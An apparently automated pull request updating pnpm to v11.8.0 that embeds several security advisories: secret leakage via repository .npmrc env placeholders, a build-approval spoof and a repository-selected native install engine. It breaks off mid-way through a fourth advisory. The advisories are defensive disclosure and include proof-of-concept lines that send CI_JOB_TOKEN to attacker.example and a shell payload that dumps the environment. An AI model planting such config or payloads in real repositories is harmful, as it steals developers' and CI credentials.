chore(deps): update pnpm to v11.8.0 [security] (#830)

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---

### pnpm: Repository config can expand victim environment secrets into
registry requests before scripts run
[CVE-2026-55180](https://nvd.nist.gov/vuln/detail/CVE-2026-55180) /
[GHSA-3qhv-2rgh-x77r](https://redirect.github.com/advisories/GHSA-3qhv-2rgh-x77r)

&lt;details&gt;
&lt;summary&gt;More information&lt;/summary&gt;

#### Details
&lt;!-- maintainer-action:start --&gt;

##### Maintainer Action Plan

This report is ready to review with the shared patch branch. Start with
the PR and the expected fixed behavior, then use the detailed exploit
narrative below only if you want to replay the original path.

- Advisory: `CAND-PNPM-122` / `GHSA-3qhv-2rgh-x77r`
- Advisory URL:
https://github.com/pnpm/pnpm/security/advisories/GHSA-3qhv-2rgh-x77r
- Shared patch PR:
[https://github.com/pnpm/pnpm-ghsa-j2hc-m6cf-6jm8/pull/1](https://redirect.github.com/pnpm/pnpm-ghsa-j2hc-m6cf-6jm8/pull/1)
- Shared patch branch: `security/ghsa-batch-2026-06-09`
- Patch commit: `a93449314f398cf4bdf2e28d033c02d37395ad22`
- Base commit: `origin/main` `55a4035abf1ae3fe7208ba1f5ef43c5eff58ccec`
- Maintainer priority: `start-here`
- Component: `pnpm config/env replacement and registry auth`
- Patch area: project .npmrc env placeholders are not expanded into
registry/auth destinations
- Affected packages: `npm:pnpm`, `npm:@&amp;#8203;pnpm/config.reader`,
`rust:pacquet`
- CWE IDs: `CWE-201`, `CWE-200`, `CWE-522`
- Conservative CVSS: `6.5` /
`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N`
- Next action: review the shared patch branch for this component, set
the final affected version range, merge and release the fix, then
publish or close the advisory.

##### Expected Patched Behavior

Project `.npmrc` environment placeholders do not expand into registry or
auth destinations; the secret is absent from the request URL and auth
header.

##### Files And Tests To Review

- `config/reader/src/loadNpmrcFiles.ts`
- `config/reader/src/getOptionsFromRootManifest.ts`
- `config/reader/test/index.ts`
- `config/reader/test/getOptionsFromRootManifest.test.ts`
- `pacquet/crates/config/src/npmrc_auth.rs`
- `pacquet/crates/config/src/npmrc_auth/tests.rs`
- `pacquet/crates/config/src/workspace_yaml.rs`
- `pacquet/crates/config/src/workspace_yaml/tests.rs`
- `.changeset/sharp-registry-env-placeholders.md`

##### Focused Validation

Run these from a checkout of the shared patch branch. They are the
useful maintainer commands with machine-local artifact paths removed.

```bash
./node_modules/.bin/tsgo --build config/reader/tsconfig.json
NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/getOptionsFromRootManifest.test.ts --runInBand
NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/index.ts -t "project \.npmrc does not expand env variables in registry URLs|project \.npmrc does not expand env variables in scoped registry URLs or URL-scoped keys|project \.npmrc does not expand env variables in auth values|user \.npmrc may expand env variables in registry URLs|drops the placeholder when the env var is unset|substitutes normally when the env var is set|only drops the unresolved placeholder|explicit .*undefined.* fallbacks|pnpm-workspace\.yaml registries do not expand env variables|return a warning when the \.npmrc has an env variable" --runInBand
./node_modules/.bin/eslint config/reader/src/loadNpmrcFiles.ts config/reader/src/getOptionsFromRootManifest.ts config/reader/test/index.ts config/reader/test/getOptionsFromRootManifest.test.ts
cargo fmt --manifest-path pacquet/crates/config/Cargo.toml --check
cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_registry_urls --lib
cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_scoped_registry_urls --lib
cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_url_scoped_keys --lib
cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_auth_values --lib
cargo test --manifest-path pacquet/crates/config/Cargo.toml trusted_ini_expands_env_placeholders_in_registry_urls --lib
cargo test --manifest-path pacquet/crates/config/Cargo.toml ignores_env_vars_inside_workspace_registry_values --lib
git diff --check
cargo fmt --check
```

The full patched replay for the shared branch passed with all 20
candidates marked fixed. This candidate's replay evidence is
`results/CAND-PNPM-122-patched-result.json`.
&lt;!-- maintainer-action:end --&gt;

##### CAND-PNPM-122: Repository config can expand victim environment
secrets into registry requests before scripts run

##### Advisory Details

##### Summary

pnpm and pacquet expanded `${ENV_VAR}` placeholders from
repository-controlled `.npmrc` and `pnpm-workspace.yaml` into registry
request destinations and registry credentials. A malicious repository
could cause dependency resolution to send victim environment secrets to
an attacker-selected registry before lifecycle scripts run.

##### Details

The vulnerable TypeScript pnpm path was:

- `config/reader/src/loadNpmrcFiles.ts` loaded project `.npmrc` and
substituted environment placeholders in keys and values.
- `config/reader/src/getOptionsFromRootManifest.ts` substituted
environment placeholders inside workspace `registry`, `registries`, and
`namedRegistries` settings.
- `config/reader/src/index.ts` merged those expanded registry/auth
values into `pnpmConfig.registries`, `pnpmConfig.authConfig`, and
`pnpmConfig.configByUri`.
- `resolving/npm-resolver/src/fetch.ts` built metadata request URLs from
the selected registry.
- `network/fetch/src/fetchFromRegistry.ts` dispatched the request and
attached matching auth headers before install lifecycle scripts could
run.

The pacquet parity path was:

- `pacquet/crates/config/src/npmrc_auth.rs` expanded project `.npmrc`
placeholders while parsing registry URLs and auth values.
- `pacquet/crates/config/src/workspace_yaml.rs` expanded workspace
registry placeholders.
- `pacquet/crates/resolving-npm-resolver/src/fetch_full_metadata.rs`
used the configured registry URL and `AuthHeaders` for metadata fetches.

##### PoC

Repository `.npmrc` URL-path exfiltration:

```ini
registry=https://attacker.example/${CI_JOB_TOKEN}/
```

Repository `.npmrc` auth-header exfiltration:

```ini
registry=https://attacker.example/
//attacker.example/:_authToken=${CI_JOB_TOKEN}
```

Repository `pnpm-workspace.yaml` URL-path exfiltration:

```yaml
registries:
  default: https://attacker.example/${CI_JOB_TOKEN}/
namedRegistries:
  work: https://attacker.example/${CI_JOB_TOKEN}/npm/
```

Exploit method:

1. The victim checks out the repository and runs a pnpm or pacquet
dependency-management command with `CI_JOB_TOKEN` or another sensitive
environment variable present.
2. Before the patch, repository config expanded the placeholder to the
victim secret.
3. The resolver used the expanded registry or matching auth entry to
construct a metadata request.
4. The victim sent a request such as
`https://attacker.example/&lt;secret&gt;/&lt;package&gt;` or `Authorization: Bearer
&lt;secret&gt;` to the attacker-controlled endpoint.

Validation PoC:

The PoC models the pre-patch URL and Authorization-header leaks, then
verifies that patched pnpm and pacquet do not keep the secret in
repository-controlled registry destinations or credential values.

##### Impact

A malicious repository can disclose environment secrets present in a
developer or CI process to a repository-selected registry before script
controls apply. This can expose npm tokens, CI job tokens, OIDC helper
inputs, or other conventional environment secrets if the attacker knows
or guesses their names.

##### Affected Products

Ecosystem: npm

Package name: `pnpm`, `@pnpm/config.reader`; pacquet Rust port

Affected versions: current main before this patch, when project `.npmrc`
or `pnpm-workspace.yaml` contains environment placeholders in registry
request destinations or project `.npmrc` contains environment
placeholders in registry credential values.

Patched versions: pending release containing this patch.

##### Severity

Severity before patch: High

Vector string before patch:
`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N`

Score before patch: 7.4

Severity after patch: None

Vector string after patch: not vulnerable after patch

Score after patch: 0.0

Rationale: exploitation is remote and low complexity once a victim runs
pnpm or pacquet in the malicious repository. No attacker privileges are
required, but user interaction is required. The demonstrated sink is
secret disclosure through outbound registry requests, not arbitrary code
execution, so confidentiality is high while integrity and availability
are not directly impacted by this finding. After the patch,
repository-controlled registry destinations and credential values
containing env placeholders are ignored, while trusted
user/global/auth.ini/CLI config still expands.

##### Weaknesses

CWE-201: Insertion of Sensitive Information Into Sent Data

CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

CWE-522: Insufficiently Protected Credentials

##### Patch

The patch makes environment expansion trust-aware for registry requests:

- Project `.npmrc` no longer expands `${...}` in `registry`,
`@scope:registry`, proxy URL values, URL-scoped keys such as
`//host/${SECRET}/:_authToken`, or registry credential values such as
`//host/:_authToken=${SECRET}` and `_authToken=${SECRET}`.
- User `.npmrc`, auth.ini, CLI, global, and environment config still
support env expansion for trusted registry configuration.
- `pnpm-workspace.yaml` no longer expands `${...}` in `registry`,
`registries`, or `namedRegistries` URL values.
- Trusted user-level auth values such as
`//registry.npmjs.org/:_authToken=${NODE_AUTH_TOKEN}` still expand or
lossy-drop as before, preserving setup-node and OIDC trusted-publishing
behavior when the `.npmrc` is supplied as user config.
- Pacquet mirrors the same boundary with `from_project_ini()` for
project `.npmrc` and workspace registry filtering.

Changed files:

- `config/reader/src/loadNpmrcFiles.ts`
- `config/reader/src/getOptionsFromRootManifest.ts`
- `config/reader/test/index.ts`
- `config/reader/test/getOptionsFromRootManifest.test.ts`
- `pacquet/crates/config/src/npmrc_auth.rs`
- `pacquet/crates/config/src/npmrc_auth/tests.rs`
- `pacquet/crates/config/src/workspace_yaml.rs`
- `pacquet/crates/config/src/workspace_yaml/tests.rs`

Changeset:

- `.changeset/sharp-registry-env-placeholders.md`

Pacquet parity:

Ported in the same patch. Pacquet dependency-management commands now
parse project `.npmrc` with request-destination and credential-value env
expansion disabled, and drop workspace registry values containing
`${...}` placeholders.

##### Verification

Post-patch validation:

The PoC ran:

```bash
./node_modules/.bin/tsgo --build config/reader/tsconfig.json
NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/getOptionsFromRootManifest.test.ts --runInBand
NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/index.ts -t "project \.npmrc does not expand env variables in registry URLs|project \.npmrc does not expand env variables in scoped registry URLs or URL-scoped keys|project \.npmrc does not expand env variables in auth values|user \.npmrc may expand env variables in registry URLs|drops the placeholder when the env var is unset|substitutes normally when the env var is set|only drops the unresolved placeholder|explicit .*undefined.* fallbacks|pnpm-workspace\.yaml registries do not expand env variables|return a warning when the \.npmrc has an env variable" --runInBand
./node_modules/.bin/eslint config/reader/src/loadNpmrcFiles.ts config/reader/src/getOptionsFromRootManifest.ts config/reader/test/index.ts config/reader/test/getOptionsFromRootManifest.test.ts
cargo fmt --manifest-path pacquet/crates/config/Cargo.toml --check
cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_registry_urls --lib
cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_scoped_registry_urls --lib
cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_url_scoped_keys --lib
cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_auth_values --lib
cargo test --manifest-path pacquet/crates/config/Cargo.toml trusted_ini_expands_env_placeholders_in_registry_urls --lib
cargo test --manifest-path pacquet/crates/config/Cargo.toml ignores_env_vars_inside_workspace_registry_values --lib
git diff --check
```

Results:

- PoC pre-patch model showed `cand122-ci-job-token` in both a request
URL and a bearer auth header.
- TypeScript build for `config.reader`: passed.
- Focused root-manifest tests: 8 passed, including workspace registry
and named-registry placeholder denial.
- Focused config-reader integration tests: 10 passed, covering project
`.npmrc` default registry denial, scoped registry denial, URL-scoped-key
denial, project auth-value denial, trusted user `.npmrc` registry
expansion, trusted user auth-value expansion/lossy fallback, and
workspace registry denial.
- `cargo fmt --check`: passed.
- Focused pacquet tests: 6 passed, covering project `.npmrc` registry
denial, scoped registry denial, URL-scoped-key denial, auth-value
denial, trusted `.npmrc` registry expansion, and workspace YAML denial.
- `git diff --check`: passed.

##### CVSS Reassessment

The initial scan score used a repository-code-execution vector:

`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` (8.8 High)

The PoC and source trace showed this finding is direct secret disclosure
through registry request URLs or Authorization headers, not a code
execution path. The corrected vulnerable vector is:

`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N`

Corrected vulnerable score: 7.4 High.

Final score after patch: 0.0.

#### Severity
- CVSS Score: 6.5 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N`

#### References
-
[https://github.com/pnpm/pnpm/security/advisories/GHSA-3qhv-2rgh-x77r](https://redirect.github.com/pnpm/pnpm/security/advisories/GHSA-3qhv-2rgh-x77r)
-
[https://nvd.nist.gov/vuln/detail/CVE-2026-55180](https://nvd.nist.gov/vuln/detail/CVE-2026-55180)
-
[https://github.com/advisories/GHSA-3qhv-2rgh-x77r](https://redirect.github.com/advisories/GHSA-3qhv-2rgh-x77r)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-3qhv-2rgh-x77r)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
&lt;/details&gt;

---

### pnpm: Manifest identity spoof satisfies allowBuilds and runs
attacker lifecycle
[CVE-2026-55487](https://nvd.nist.gov/vuln/detail/CVE-2026-55487) /
[GHSA-5wx6-mg75-v57r](https://redirect.github.com/advisories/GHSA-5wx6-mg75-v57r)

&lt;details&gt;
&lt;summary&gt;More information&lt;/summary&gt;

#### Details
##### Summary

Keep build approval for opaque dependency sources byte-exact for
GHSA-5wx6-mg75-v57r / CAND-PNPM-123.

Merged upstream commit `bf1b731ee6` fixed the original name-only
approval bypass by making build policy consume the resolved dependency
identity. One collision remained: the generic peer-suffix normalizer
also stripped parenthesized text from git, URL, tarball, file, and other
opaque locators. Approval for one source string could therefore
authorize a different attacker-controlled source whose locator
normalized to the same value.

##### Security boundary

- Registry dependency identities still normalize legitimate peer
suffixes and retain patch hashes.
- Git, URL, tarball, file, directory, and otherwise opaque identities
must match the complete resolved locator byte for byte.
- Explicit denials use the same normalization as approvals.
- Ignored-build output preserves the exact opaque identity, so the key
pnpm asks a user to approve is the key policy later checks.
- TypeScript pnpm and pacquet implement the same distinction between
registry and opaque identities.

##### Exploit replay

- With `allowBuilds` approving `foo@https://host/pkg.tgz`, the upstream
implementation also accepted `foo@https://host/pkg.tgz(evil)` because
both passed through peer-suffix removal.
- An independent review found a second Rust-only form:
`foo@https://host/pkg@1.0.0(good)` and
`foo@https://host/pkg@1.0.0(evil)` collided because the parser selected
the final `@` and misclassified the opaque URL as a registry package.
- A final review found the same parser hazard in source-only locators
ending in a semver-looking tail: approval for `https://host/pkg@1.0.0`
could collapse `https://host/pkg@1.0.0(evil)`.
- The final patch rejects all three collision forms, applies the same
exactness to deny rules, accepts exact opaque keys as positive controls,
and continues to accept registry packages approved without their peer
suffixes.

##### Files changed

- `building/policy/src/index.ts` and `building/policy/test/index.ts`
normalize only parsed registry identities and retain exact opaque keys.
- `pacquet/crates/package-manager/src/build_modules.rs` passes snapshot
identities to policy, matches TypeScript package-separator parsing, and
preserves opaque locators.
- `pacquet/crates/package-manager/src/build_modules/tests.rs` covers
exact approval and denial, all three collision forms, ignored-build
output, and registry peer compatibility.
- `.changeset/quiet-opaque-build-identities.md` records patch releases
for `@pnpm/building.policy` and `pnpm`.

##### Commands run

```text
$ jest building/policy/test/index.ts --runInBand
16 passed
$ cargo test -p pacquet-package-manager build_modules::tests -- --nocapture
49 passed
$ cargo fmt --all -- --check
PASS
$ git diff --check 84bb4b1a046f3a659de1c9aab1d45dcf814124ce...HEAD
PASS
```

##### Validation

- The TypeScript policy suite passed all 16 tests.
- The final pacquet build-policy suite passed all 49 tests.
- The new Rust regression reproduced the extra-`@` collision before the
additive fix and passed afterward.
- Exact opaque approval and denial, source-only semver-tail collision
rejection, registry peer normalization, and ignored-build reporting all
have paired tests.
- ESLint passed on the changed TypeScript source and test files.
- Rust formatting and diff checks passed; the branch is clean and
consists of three focused security commits plus additive merges of
upstream through `84bb4b1a046f3a659de1c9aab1d45dcf814124ce`.
- The focused TypeScript suite and ESLint ran directly through the
installed harness. The isolated project build cannot resolve workspace
packages without a local install, and the configured registry gateway
returns HTTP 403 while fetching `@pnpm/pacquet@0.11.2`; no
candidate-focused test failed.

##### Patches

`10.34.2`:
https://github.com/pnpm/pnpm/commit/14bceb1e0b2a71f4f670774db261feb03f38ec23
`11.5.3`:
https://github.com/pnpm/pnpm/commit/bf1b731ee6c0ea98709e671ff0f46bf654480ab8

##### Compatibility

Registry package approvals keep their existing form. Opaque dependencies
that were approved through a normalized parenthesized variant must now
use the exact key shown in pnpm's ignored-build output. This is the
intended trust-boundary change; no package-resolution or artifact format
changes.

##### CI note

GitHub intentionally does not run status checks on temporary
private-fork pull requests. The complete policy suites, formatting, and
diff checks above are the applicable validation:
https://docs.github.com/code-security/security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-security-vulnerability

---
Written by an agent (Codex, GPT-5).

#### Severity
- CVSS Score: 7.5 / 10 (High)
- Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H`

#### References
-
[https://github.com/pnpm/pnpm/security/advisories/GHSA-5wx6-mg75-v57r](https://redirect.github.com/pnpm/pnpm/security/advisories/GHSA-5wx6-mg75-v57r)
-
[https://nvd.nist.gov/vuln/detail/CVE-2026-55487](https://nvd.nist.gov/vuln/detail/CVE-2026-55487)
-
[https://github.com/pnpm/pnpm/commit/bf1b731ee6c0ea98709e671ff0f46bf654480ab8](https://redirect.github.com/pnpm/pnpm/commit/bf1b731ee6c0ea98709e671ff0f46bf654480ab8)
-
[https://github.com/pnpm/pnpm/releases/tag/v10.34.2](https://redirect.github.com/pnpm/pnpm/releases/tag/v10.34.2)
-
[https://github.com/pnpm/pnpm/releases/tag/v11.5.3](https://redirect.github.com/pnpm/pnpm/releases/tag/v11.5.3)
-
[https://github.com/advisories/GHSA-5wx6-mg75-v57r](https://redirect.github.com/advisories/GHSA-5wx6-mg75-v57r)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-5wx6-mg75-v57r)
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4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
&lt;/details&gt;

---

### pnpm: Repository-controlled configDependencies can select a pacquet
native install engine
[CVE-2026-55697](https://nvd.nist.gov/vuln/detail/CVE-2026-55697) /
[GHSA-gj8w-mvpf-x27x](https://redirect.github.com/advisories/GHSA-gj8w-mvpf-x27x)

&lt;details&gt;
&lt;summary&gt;More information&lt;/summary&gt;

#### Details
&lt;!-- maintainer-action:start --&gt;

##### Maintainer Action Plan

This report is ready to review with the shared patch branch. Start with
the PR and the expected fixed behavior, then use the detailed exploit
narrative below only if you want to replay the original path.

- Advisory: `CAND-PNPM-097` / `GHSA-gj8w-mvpf-x27x`
- Advisory URL:
https://github.com/pnpm/pnpm/security/advisories/GHSA-gj8w-mvpf-x27x
- Shared patch PR:
[https://github.com/pnpm/pnpm-ghsa-j2hc-m6cf-6jm8/pull/1](https://redirect.github.com/pnpm/pnpm-ghsa-j2hc-m6cf-6jm8/pull/1)
- Shared patch branch: `security/ghsa-batch-2026-06-09`
- Patch commit: `a93449314f398cf4bdf2e28d033c02d37395ad22`
- Base commit: `origin/main` `55a4035abf1ae3fe7208ba1f5ef43c5eff58ccec`
- Maintainer priority: `start-here`
- Component: `pnpm configDependencies / pacquet delegation`
- Patch area: pacquet/configDependency lifecycle execution is not used
as install engine without trust
- Affected packages: `npm:pnpm`, `npm:@&amp;#8203;pnpm/config.reader`,
`npm:@&amp;#8203;pnpm/installing.commands`
- CWE IDs: `CWE-829`, `CWE-78`, `CWE-494`
- Conservative CVSS: `7.5` /
`CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H`
- Next action: review the shared patch branch for this component, set
the final affected version range, merge and release the fix, then
publish or close the advisory.

##### Expected Patched Behavior

config-dependency pacquet install engines are not selected unless the
trusted allowlist is set outside the repository; the marker file is not
created.

##### Files And Tests To Review

- `config/reader/src/Config.ts`
- `config/reader/src/types.ts`
- `config/reader/src/configFileKey.ts`
- `config/reader/src/index.ts`
- `config/reader/test/index.ts`
- `installing/commands/src/installDeps.ts`
- `installing/commands/test/runPacquet.ts`
- `pnpm/test/install/pacquet.ts`
- `.changeset/lucky-config-plugin-pnpmfiles.md`

##### Focused Validation

Run these from a checkout of the shared patch branch. They are the
useful maintainer commands with machine-local artifact paths removed.

```bash
./node_modules/.bin/tsgo --build config/reader/tsconfig.json
./node_modules/.bin/tsgo --build installing/commands/tsconfig.json
./node_modules/.bin/tsgo --build pnpm/tsconfig.json
NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/runPacquet.ts --runInBand
NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/index.ts -t "config dependency code allowlists|user-level preference settings" --runInBand
./node_modules/.bin/eslint config/reader/src/Config.ts config/reader/src/types.ts config/reader/src/configFileKey.ts config/reader/src/index.ts config/reader/test/index.ts installing/commands/src/installDeps.ts installing/commands/test/runPacquet.ts pnpm/test/install/pacquet.ts
git diff --check
```

The full patched replay for the shared branch passed with all 20
candidates marked fixed. This candidate's replay evidence is
`results/CAND-PNPM-097-patched-result.json`.
&lt;!-- maintainer-action:end --&gt;

##### Summary

pnpm can install `configDependencies` declared in `pnpm-workspace.yaml`
before command dispatch. Before the patch, a repository could declare
`pacquet` or `@pnpm/pacquet` as a config dependency and pnpm treated
that repository-controlled dependency as an install-engine opt-in.
During install, pnpm resolved a platform-specific
`@pacquet/&lt;platform&gt;-&lt;arch&gt;/pacquet` binary from
`node_modules/.pnpm-config/&lt;packageName&gt;` and spawned it as the
developer or CI user.

##### Details

The vulnerable source-to-sink path was:

- `config/reader/src/getOptionsFromRootManifest.ts` copies repository
`pnpm-workspace.yaml` `configDependencies` into config.
- `pnpm/src/getConfig.ts` installs config dependencies before command
dispatch.
- `installing/env-installer/src/resolveAndInstallConfigDeps.ts` resolves
the repository-declared dependency and its optional platform
subdependencies.
- `installing/env-installer/src/installConfigDeps.ts` fetches, imports,
and symlinks the config dependency tree under
`node_modules/.pnpm-config`.
- `installing/commands/src/installDeps.ts` selected pacquet delegation
whenever `configDependencies` contained `pacquet` or `@pnpm/pacquet`.
- `installing/deps-installer/src/install/index.ts` called
`opts.runPacquet` from frozen and materialization paths.
- `installing/commands/src/runPacquet.ts` resolved
`@pacquet/${process.platform}-${process.arch}/pacquet` from the
installed config dependency package and executed it with `spawn()`.

Exact-version, integrity, and platform filters only proved which bytes
package resolution selected; they did not establish that the repository
was trusted to choose a native install engine.

##### PoC

Standalone PoC and verification script:

Repository fixture:

```yaml
packages:
  - .
configDependencies:
  pacquet: 0.2.2
```

Registry package shape:

```json
{
  "name": "pacquet",
  "version": "0.2.2",
  "optionalDependencies": {
    "@&amp;#8203;pacquet/darwin-arm64": "0.2.2"
  }
}
```

Platform package payload:

```sh

#!/bin/sh
echo "$PWD" &gt; /tmp/pacquet-engine-ran
env &gt; /tmp/pacquet-engine-env
```

Pre-patch exploit model:

1. The victim runs a dependency-management command such as `pnpm
install` in the repository.
2. pnpm installs the repository-declared config dependency and its
host-compatible optional platform dependency into `.pnpm-config`.
3. `installDeps()` treats the presence of `configDependencies.pacquet`
or `configDependencies["@&amp;#8203;pnpm/pacquet"]` as authorization to
delegate install materialization.
4. `runPacquet()` resolves the platform binary from the installed config
dependency tree and spawns it in the lockfile directory.

Observed PoC output:

```json
{
  "primitive": "repository-selected pacquet config dependency reaches native process execution when selected",
  "patchedWithoutAllowlist": "blocked",
  "trustedAllowlist": "allows explicit opt-in"
}
```

Focused validation commands:

```bash
./node_modules/.bin/tsgo --build config/reader/tsconfig.json
./node_modules/.bin/tsgo --build installing/commands/tsconfig.json
./node_modules/.bin/tsgo --build pnpm/tsconfig.json
NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/runPacquet.ts --runInBand
NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/index.ts -t "config dependency code allowlists|user-level preference settings" --runInBand
./node_modules/.bin/eslint config/reader/src/Config.ts config/reader/src/types.ts config/reader/src/configFileKey.ts config/reader/src/index.ts config/reader/test/index.ts installing/commands/src/installDeps.ts installing/commands/test/runPacquet.ts pnpm/test/install/pacquet.ts
git diff --check
```

Validation result:

- The PoC confirmed a selected pacquet config dependency reaches native
process execution.
- Patched `getPacquetConfigDependencyName()` returns `undefined` without
a trusted allowlist.
- Patched `getPacquetConfigDependencyName()` allows exact `pacquet`,
exact `@pnpm/pacquet`, and wildcard `*` trusted opt-in.
- Config reader regressions prove user/global config can set
`configDependencyInstallEngineAllowlist`, while `pnpm-workspace.yaml`
cannot grant this permission to itself.
- E2E fixtures that intentionally delegate to pacquet now pass the
trusted allowlist through environment config.
- TypeScript builds passed for `@pnpm/config.reader`,
`@pnpm/installing.commands`, and `pnpm`.
- Focused `installing/commands/test/runPacquet.ts`: 3 passed.
- Focused `config/reader/test/index.ts`: 2 passed, 132 skipped under the
focused pattern.
- ESLint passed with warnings only for existing skipped tests in
`config/reader/test/index.ts` and `pnpm/test/install/pacquet.ts`.
- `git diff --check`: passed.

##### Impact

A malicious repository can cause pnpm to execute a registry-selected
native binary while handling dependency-management commands. The binary
runs with the victim developer or CI user's filesystem, environment,
registry credentials, git/SSH credentials, and network access.

##### Affected products

Ecosystem: npm

Package name: `pnpm`, `@pnpm/config.reader`, `@pnpm/installing.commands`

Affected versions: current main before this patch, when
`configDependencies` contains `pacquet` or `@pnpm/pacquet` and install
paths delegate to pacquet.

Patched versions: 10.34.2, 11.5.3.

##### Severity

Severity: High

Vector string: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H`

Base score: 8.8

Rationale: attacker input is delivered through a repository and registry
package, exploitation is low complexity once the victim runs pnpm, no
attacker privileges are required, and user interaction is required.
Successful exploitation executes a native binary in the victim user's
context, with high confidentiality, integrity, and availability impact.

##### Weaknesses

CWE-829: Inclusion of Functionality from Untrusted Control Sphere

CWE-78: Improper Neutralization of Special Elements used in an OS
Command

CWE-494: Download of Code Without Integrity Check

##### Patch

The patch adds a trusted opt-in gate for config-dependency
install-engine delegation:

- New setting: `configDependencyInstallEngineAllowlist`.
- The allowlist can be set from trusted user-controlled config such as
global config, CLI config, or environment config.
- `pnpm-workspace.yaml` cannot grant this permission to itself;
workspace-provided values are discarded after workspace settings are
merged.
- `installDeps()` delegates to pacquet only when `pacquet`,
`@pnpm/pacquet`, or `*` is present in the trusted allowlist.
- Repositories can still install `pacquet` as a config dependency, but
pnpm will not spawn it as an install engine unless trusted config opts
in.
- Existing tests that intentionally exercise pacquet delegation were
updated to pass the trusted allowlist via environment config.

Changed files:

- `config/reader/src/Config.ts`
- `config/reader/src/types.ts`
- `config/reader/src/configFileKey.ts`
- `config/reader/src/index.ts`
- `config/reader/test/index.ts`
- `installing/commands/src/installDeps.ts`
- `installing/commands/test/runPacquet.ts`
- `pnpm/test/install/pacquet.ts`

Changeset:

- `.changeset/lucky-config-plugin-pnpmfiles.md`

Pacquet parity:

No pacquet-side code-execution sink exists for this finding. The Rust
port parses and records `configDependencies` for workspace-state
compatibility, but it does not install config dependencies or
select/spawn an alternate install engine from them. The user-visible
trust setting is TypeScript-side today because it gates pnpm's pacquet
delegation path.

##### CVSS Reassessment

Initial CVSS remains correct for vulnerable versions:
`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` / 8.8 High.

Final CVSS after patch: not vulnerable after patch / 0.0. The PoC no
longer reaches pacquet install-engine selection or native process
execution unless the victim has set a trusted allowlist outside the
repository's own workspace settings.

##### Remaining Risk

Users can explicitly trust pacquet install-engine delegation through the
new allowlist. That is intentional behavior; the closed issue is
repository self-authorization of a registry-provided native install
engine.

#### Severity
- CVSS Score: 7.5 / 10 (High)
- Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H`

#### References
-
[https://github.com/pnpm/pnpm/security/advisories/GHSA-gj8w-mvpf-x27x](https://redirect.github.com/pnpm/pnpm/security/advisories/GHSA-gj8w-mvpf-x27x)
-
[https://nvd.nist.gov/vuln/detail/CVE-2026-55697](https://nvd.nist.gov/vuln/detail/CVE-2026-55697)
-
[https://github.com/advisories/GHSA-gj8w-mvpf-x27x](https://redirect.github.com/advisories/GHSA-gj8w-mvpf-x27x)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-gj8w-mvpf-x27x)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
&lt;/details&gt;

---

### pnpm: Project env lockfile can short-circuit package-manager
resolution and execute lockfile-selected pnpm bytes
[CVE-2026-55698](https://nvd.nist.gov/vuln/detail/CVE-2026-55698) /
[GHSA-w466-c33r-3gjp](https://redirect.github.com/advisories/GHSA-w466-c33r-3gjp)

&lt;details&gt;
&lt;summary&gt;More information&lt;/summary&gt;

#### Details
&lt;!-- maintainer-action:start --&gt;

##### Maintainer Action Plan

This report is ready to review with the shared patch branch. Start with
the PR and the expected fixed behavior, then use the detailed exploit
narrative below only if you want to replay the original path.

- Advisory: `CAND-PNPM-063` / `GHSA-w466-c33r-3gjp`
- Advisory URL:
https://github.com/pnpm/pnpm/security/advisories/GHSA-w466-c33r-3gjp
- Shared patch PR:
[https://github.com/pnpm/pnpm-ghsa-j2hc-m6cf-6jm8/pull/1](https://redirect.github.com/pnpm/pnpm-ghsa-j2hc-m6cf-6jm8/pull/1)
- Shared patch branch: `security/ghsa-batch-2026-06-09`
- Patch commit: `a93449314f398cf4bdf2e28d033c02d37395ad22`
